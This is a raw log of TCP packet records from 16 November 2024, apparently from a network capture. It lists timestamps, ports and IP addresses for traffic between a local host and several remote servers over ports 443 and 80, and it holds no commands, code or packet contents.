Nov 16, 2024 13:01:37.120651960 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.120675087 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.121109962 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.121201038 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.121272087 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.121558905 CET	49855	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.121596098 CET	443	49855	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.130953074 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.131323099 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.131345034 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.132339954 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.132388115 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.132708073 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.132769108 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.143084049 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.143393993 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.143457890 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.146976948 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.147046089 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.147375107 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.147553921 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.183857918 CET	49844	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.183908939 CET	49843	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.211323977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211342096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211354017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211360931 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211364985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211450100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.211450100 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.211668968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211678982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211688995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211716890 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211726904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.211736917 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.211736917 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.211770058 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.212414980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.212424994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.212435961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.212445021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.212457895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.212464094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.212470055 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.212486029 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.212687016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.213538885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.213550091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.213561058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.213571072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.213577986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.213589907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.213620901 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.213620901 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.213740110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.230724096 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.230743885 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.247021914 CET	49856	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.247119904 CET	443	49856	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.247195959 CET	49856	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.247380018 CET	49857	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.247415066 CET	443	49857	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.247461081 CET	49857	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.247852087 CET	49858	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.247875929 CET	443	49858	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.248059034 CET	49856	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.248099089 CET	443	49856	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.248122931 CET	49858	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.248234987 CET	49857	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.248248100 CET	443	49857	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.248301983 CET	49858	443	192.168.2.5	23.221.22.213
Nov 16, 2024 13:01:37.248317003 CET	443	49858	23.221.22.213	192.168.2.5
Nov 16, 2024 13:01:37.293849945 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.293888092 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.293972969 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.294194937 CET	49859	443	192.168.2.5	13.107.246.57
Nov 16, 2024 13:01:37.294208050 CET	443	49859	13.107.246.57	192.168.2.5
Nov 16, 2024 13:01:37.330421925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.330470085 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.340081930 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.359333992 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.359513998 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.365518093 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365530014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365540028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365550041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365636110 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.365689993 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365698099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.365700960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365712881 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365724087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365735054 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.365755081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.365755081 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.365819931 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.366142035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366159916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366170883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366214991 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.366214991 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.366302013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366312981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366322994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366333008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366349936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.366349936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.366377115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.366949081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366959095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366981030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366991043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.366991997 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367008924 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367019892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367029905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367029905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367036104 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367046118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367080927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367080927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367862940 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367882967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367892981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367902040 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367935896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367935896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.367950916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367960930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367970943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.367983103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368016958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.368016958 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.368041992 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368113041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.368854046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368864059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368880987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368891001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368897915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.368901968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368912935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368923903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.368927002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.368978977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.368978977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.369513988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.369575024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.369616985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.369616985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.449426889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.449439049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.449455023 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.449501038 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.449529886 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.461229086 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.461849928 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.461883068 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.462490082 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.462505102 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.484402895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.484419107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.484431982 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.484441996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.484539986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.484539986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519201994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519215107 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519283056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519345999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519362926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519372940 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519383907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519407988 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519422054 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519433975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519443035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519459963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519459963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519504070 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519622087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519637108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519680977 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519697905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519709110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519752979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519767046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519778013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519788027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.519814968 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519846916 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.519959927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520019054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520049095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520059109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520092010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520096064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520096064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520102024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520113945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520157099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520157099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520442963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520452976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520467997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520478964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520488977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520498991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520509958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520530939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520531893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520560980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520567894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520572901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520584106 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.520628929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.520628929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521213055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521224022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521234035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521244049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521254063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521264076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521274090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521296024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521296024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521311998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521317959 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521325111 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521334887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521346092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521369934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521369934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521440029 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.521930933 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.521990061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522000074 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522010088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522020102 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522031069 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522032022 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522070885 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522254944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522377968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522387981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522398949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522408962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522419930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522437096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522444963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522444963 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522448063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522459030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522461891 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522474051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522486925 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522501945 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.522524118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522524118 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.522546053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523293972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523303986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523318052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523327112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523345947 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523351908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523365021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523374081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523384094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523386002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523396969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523400068 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523407936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523420095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523431063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.523435116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523435116 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523474932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.523499966 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.524121046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.524132013 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.524142981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.524173975 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.524229050 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.529233932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.529244900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.529254913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.529438019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.529438019 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.549757957 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.549949884 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.549982071 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.551054001 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.551132917 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.552031994 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.552095890 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.552357912 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.568407059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.568429947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.568440914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.568507910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.568507910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.568550110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.568563938 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.568614006 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.568614006 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.588047028 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.588653088 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.588685036 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.589065075 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.589133024 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.589139938 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.589251041 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.589473963 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.589592934 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.589613914 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.589627028 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.589634895 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.593611002 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.593652010 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.593713045 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.594057083 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.594073057 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.595345974 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.601881027 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.601908922 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.602333069 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.602350950 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.602927923 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.602935076 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.603276968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603322029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603332996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603339911 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.603343010 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.603344917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603359938 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.603384972 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.603384972 CET	49802	80	192.168.2.5	185.215.113.206
